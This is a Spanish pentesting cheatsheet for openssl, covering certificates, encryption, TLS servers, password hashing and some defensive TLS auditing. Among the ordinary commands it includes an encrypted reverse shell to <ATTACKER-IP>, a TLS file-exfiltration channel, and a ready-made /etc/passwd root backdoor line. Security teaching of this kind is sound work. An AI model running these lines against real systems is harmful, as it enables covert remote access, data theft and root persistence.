OpenSSL — Certificados, Cifrado, Shells TLS y Hashes
OpenSSL en operaciones: generación de certificados, servidores/cliente TLS, reverse shells cifradas, cifrado AES/RSA/Base64, y generación de hashes /etc/passwd.
1. Operational Scope & Technical Objective
openssl es la librería/CLI criptográfica de referencia: genera certificados, cifra y descifra (AES, RSA, Base64), monta servidores TLS improvisados (s_server) y produce hashes de contraseña del estilo /etc/passwd. En un engagement concentra tres funciones: canales de exfiltración cifrados (reverse shell o transferencia de ficheros dentro de TLS, indetectable en claro), creación de material PKI para socat/ncat/pentesting de TLS, y manipulación de credenciales del sistema (hashes $1$ para /etc/passwd).
2. High-Impact Syntax & Command Cheatsheet
# Certificado autofirmado + servidor/descarga por TLS
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
# -newkey rsa:2048 -> genera clave RSA de 2048 bits
# -nodes -> clave privada SIN passphrase (para uso no interactivo)
# -x509 -> emite un certificado autofirmado directamente
# -days 365 -> validez
# Servidor TLS que sirve un fichero al conectarse
openssl s_server -quiet -accept <PORT> -cert certificate.pem -key key.pem < <FILEPATH>
# -quiet -> sin banners extra
# -accept -> puerto de escucha
# Cliente: descargar el fichero del servidor TLS
openssl s_client -connect <ATTACKER_IP>:<PORT> -quiet > <FILEPATH>
# Generar certificado cliente desde una CA
openssl req -x509 -new -nodes -key ca.key -sha256 -days 1024 -out rh.pem
openssl pkcs12 -export -in rh.pem -inkey ca.key -out rh.p12 # formato .p12 (Windows)
# Reverse shell cifrada (Linux)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
# un FIFO conecta stdin/stdout del shell con el canal TLS; el listener es el s_server de arriba
# Cifrado AES (con passphrase)
openssl enc -aes-128-cbc -in plain.txt -out cipher # cifrar (pide password)
openssl enc -aes-128-cbc -d -in cipher -out cipher-dec.txt # descifrar
# Base64
echo "Hello World" > plain.txt
openssl enc -base64 -in plain.txt # codifica a stdout
openssl enc -base64 -in plain.txt -out cipher.txt # guardar
openssl enc -base64 -d -in cipher.txt # decodificar
# RSA
openssl genrsa -out keypair 2048 # par de claves
openssl rsa -in keypair -pubout # extrae la pública
openssl rsa -in keypair -text # detalle del módulo/exponentes
# Hashes de contraseña para /etc/passwd
openssl passwd Password123 # hash por defecto
openssl passwd -1 -salt User123 Password123 # $1$ MD5-crypt con salt
openssl passwd -1 -salt rh0x01 password123 # hash con salt fijo
# Certificado autofirmado + conversión
openssl req -newkey rsa:2048 -nodes -keyout my_cert.key -x509 -days 365 -out my_cert.crt
openssl pkcs12 -export -in my_cert.crt -inkey my_cert.key -out my_cert.p12
openssl pkcs12 -in my_cert.p12 -nodes -out my_cert.pem
3. Real-World Offensive/Defensive Scenarios
Canal de exfiltración TLS. s_server + s_client transfieren un fichero sin dejar tráfico en claro: el volumen que sale es una sesión TLS que un IDS no lee (salvo que haya inspección MITM con CA corporativa). La reverse shell con FIFO encadena el mismo principio a un shell interactivo.
Fuerza de contraseñas del sistema. openssl passwd -1 -salt rh0x01 password123 genera un hash $1$ para sobrescribir /etc/passwd de un Linux con ejecución (añadir root:$1$hacked$AT54UB5LPtGe8TddyLG9O0:0:0:root:/root:/bin/bash crea un root sin passphrase conocida). El vector asume /etc/passwd escribible o post-escalada — el ataque clásico a hashes almacenados en el fichero de usuarios.
Inspección de TLS (defensa). openssl s_client -connect <host>:<port> conecta a cualquier servicio TLS y muestra el certificado/cifrados; en Blue Team se usa para auditar caducidad, algoritmos débiles o cadenas rotas sin instalar herramientas extra. La defensa contra las shell TLS exige inspección del egress (proxy MITM) y bloqueo de s_server/openssl como binarios de transferencia en los endpoints.
Cifrados a enumerar: openssl list -cipher-commands lista los cifrados disponibles — útil para comprobar la política del sistema contra suites débiles.